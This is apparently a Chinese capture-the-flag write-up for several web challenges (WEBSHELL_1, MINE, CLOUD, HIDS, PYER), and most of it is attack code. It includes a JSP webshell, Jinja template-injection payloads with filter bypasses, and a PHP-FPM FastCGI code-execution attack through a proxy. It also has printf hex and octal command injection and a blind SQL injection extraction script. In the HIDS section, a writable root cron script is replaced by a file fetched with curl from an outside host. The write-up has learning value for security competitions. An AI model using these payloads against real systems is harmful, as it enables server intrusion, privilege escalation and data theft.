web
和队友打得快乐一批😁😁,@3rsh1,@iluem
WEBSHELL_1
上传webshell,waf好像不然你进行交互,那就直接命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <%@ page import="java.io.*" %> <% String cmd = "cat /flag"; String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; } } catch(IOException e) { e.printStackTrace(); } } %>
<pre> <%=output %> </pre>
<!-- http:
|
MINE_1
利用request.cookies.x1,request的其他三个被过滤了。
payload:
1 2 3 4 5 6 7 8 9 10
| GET /success?msg={{()|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)()|attr(request.cookies. x4)(77)|attr(request.cookies.x5)|attr(request.cookies.x6)|attr(request.cookies.x4)(request.cookies.x7)|attr(request.cookies.x4)(request.cookies.x8)(request.cookies.x9)}} HTTP/1.1 Host: 124.71.133.116:31002 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__;x5=__init__;x6=__globals__;x7=__builtins__;x8=eval;x9=__import__("os").popen('cat flag.txt').read() Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
|
MINE_2
python 这方面还是太薄弱了
payload:
1 2 3 4 5
| ?{% print(session|attr("__init__"))|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("open(\"/flag.txt\").read()")%}
# 将""内的字符串换成格式化字符串的形式
http://124.70.199.12:30195/success?msg={%print(session|attr("%c"%(95)%2b"%c"%(95)%2b"%c"%(105)%2b"%c"%(110)%2b"%c"%(105)%2b"%c"%(116)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(95)%2b"%c"%(95)%2b"%c"%(103)%2b"%c"%(108)%2b"%c"%(111)%2b"%c"%(98)%2b"%c"%(97)%2b"%c"%(108)%2b"%c"%(115)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(103)%2b"%c"%(101)%2b"%c"%(116))("%c"%(95)%2b"%c"%(95)%2b"%c"%(98)%2b"%c"%(117)%2b"%c"%(105)%2b"%c"%(108)%2b"%c"%(116)%2b"%c"%(105)%2b"%c"%(110)%2b"%c"%(115)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(103)%2b"%c"%(101)%2b"%c"%(116))("%c"%(101)%2b"%c"%(118)%2b"%c"%(97)%2b"%c"%(108))("%c"%(111)%2b"%c"%(112)%2b"%c"%(101)%2b"%c"%(110)%2b"%c"%(40)%2b"%c"%(39)%2b"%c"%(102)%2b"%c"%(108)%2b"%c"%(97)%2b"%c"%(103)%2b"%c"%(46)%2b"%c"%(116)%2b"%c"%(120)%2b"%c"%(116)%2b"%c"%(39)%2b"%c"%(41)%2b"%c"%(46)%2b"%c"%(114)%2b"%c"%(101)%2b"%c"%(97)%2b"%c"%(100)%2b"%c"%(40)%2b"%c"%(41)))%}
|
CLOUD
/admin进行爆破,得到账号 admin:admin
根据tools.zip和观察/wsproxy
,有个代理服务
编译或直接都可
代理
1
| ./shadowclient -c beegosessionID=8082b027576b238cd4cc1a79798fb2fe -l 127.0.0.1:1090 -o http://124.71.133.116/ -p UAF -r ws://124.71.133.116:32685/wsproxy
|
访问 phpinfo.php
,可以发现之前有师傅访问php-fpm
(很久之后,才意识到。。。。,亏我还用nmap扫)
配置 proxychains
1
| socks5 127.0.0.1 1090 # add
|
本来打算用gopher,但发现curl一直报错,这里直接用了P神的脚本,改一下 socket.timeout(因人而异,看网络环境?)
Fastcgi PHP-FPM Client && Code Execution (github.com)
1 2 3 4 5 6 7 8 9 10
| def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = 5000 if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict()
|
同时在phpinfo得知该php文件地址为/usr/share/nginx/html//phpinfo.php
最后的payload
1
| proxychains python p.py 127.0.0.1 /usr/share/nginx/html//phpinfo.php -c "<?php system('cat /flag1.txt')?>"
|
HIDS
学到了,在bash中 printf可以配合十六进制进行命令执行
而在dash中,printf可以配合8进制进行命令执行。
1 2
| > $(printf "\x63\x61\x74\x20\x77\x65\x62\x2f\x61\x70\x70\x2e\x70\x79") cat: web/app.py: No such file or directory
|
1 2 3 4 5 6
| a = 'ls /dev' exp = '' for i in a: z = str(hex(ord(i))).replace('0x','\\') exp += z print(exp)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| a = 'ls /dev'
exp = '' for i in a: z = str(oct(ord(i))).replace('0o','\\') exp += z print(exp)
import requests
url = 'http://124.70.199.12:30586/run'
data = { 'cmd':'env' }
exp = '$(printf$IFS$1"{}")'.format(exp)
data['cmd'] = exp r = requests.post(url=url, data=data,proxies={'http':'127.0.0.1:8080'}) print(r.text)
|
1 2
| */1 * * * * root /usr/local/bin/python3.8 /detect.py */1 * * * * ctf nohup /usr/local/bin/python3.8 /home/ctf/web/app.py &
|
其中/detect.py
可写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
return render_template('index.html')
@app.route('/run',methods=['POST'])
def run():
cmd = request.form.get("cmd")
p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
try:
(msg, errs) = p.communicate(timeout=5000)
return msg
except Exception as e:
return 'Error!'
app.run(host='0.0.0.0',port='5000')
|
1
| curl http://121.36.37.97:8080/1.py --output /detect.py
|
1 2 3
| import os os.system('cat /flag >/tmp/flag') os.system('cat /flag >/home/ctf/web/templates/fe1w0')
|
等待一秒后,查看cat /tmp/flag
也可以试试 kill 18738;sed -i 's/timeout=5000/timeout=99999/' /home/ctf/web/app.py
,这样的思路
PYER[复现]
在最后一个小时内,只过了第一关
扫描路径发现只有一个地址login
通过以下sql语句,个人判断为sqlite
1
| username=' and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)
|
因为返回页面显示的是认证失败的,而不是sql语句执行失败的
再手动注入,猜测select password from user where username = '%s' and password = '%s'
,同时后端对password是直接验证,没有加密存储.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /login HTTP/1.1 Host: 121.37.160.91:32131 Content-Length: 61 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 Origin: http://121.37.160.91:32131 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://121.37.160.91:32131/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
username='union select "password" -- -&password=password&submit=%E7%99%BB%E9%99%86
|
之后,在admin
发现有一个可能存在注入的点username
,但后面平台关了..😔(后面又开了)
利用脚本来获得password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import requests import time url = "http://124.70.199.12:32198/login" data ={ 'username':None, 'password':'admin' } result = "" i = 0 while( True ): i = i + 1 head=32 tail=127 rlen=len(result) while( head < tail ): mid = (head + tail) >> 1 data_payload="select group_concat(password) from users" payload="' union select \"admin\" from users where username=\"admin\" and (substr(({0}),{1},1) > '{2}') -- -".format(data_payload,i,chr(mid)) data['username'] = payload r = requests.post(url,data=data,allow_redirects=False) if 'Redirecting' in r.text: head = mid + 1 elif "login error" in r.text: tail = mid else: print ("error") time.sleep(0.1) if head!=32: result += chr(head) print(result) else: break print(result)
|
之后在admin
页面可以ssti,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /admin HTTP/1.1 Host: 124.70.199.12:32198 Content-Length: 147 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://124.70.199.12:32198 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://124.70.199.12:32198/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.X-ANfg.5X6Ydd8EN8ENsj3UdXbFUi_Z3UE Connection: close
username=' union select "{{session.__init__.__globals__['__builtins__']['eval']('open(\'/app/flag.txt\').read()')}}" -- -&submit=%E7%99%BB%E9%99%86
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /admin HTTP/1.1 Host: 124.70.199.12:32198 Content-Length: 202 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://124.70.199.12:32198 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://124.70.199.12:32198/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.X-ANfg.5X6Ydd8EN8ENsj3UdXbFUi_Z3UE Connection: close
username=' union select "{{{}.__class__.__mro__[1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__'].__import__('os').popen('cat flag.txt').read()}}" -- -&submit=%E7%99%BB%E9%99%86
|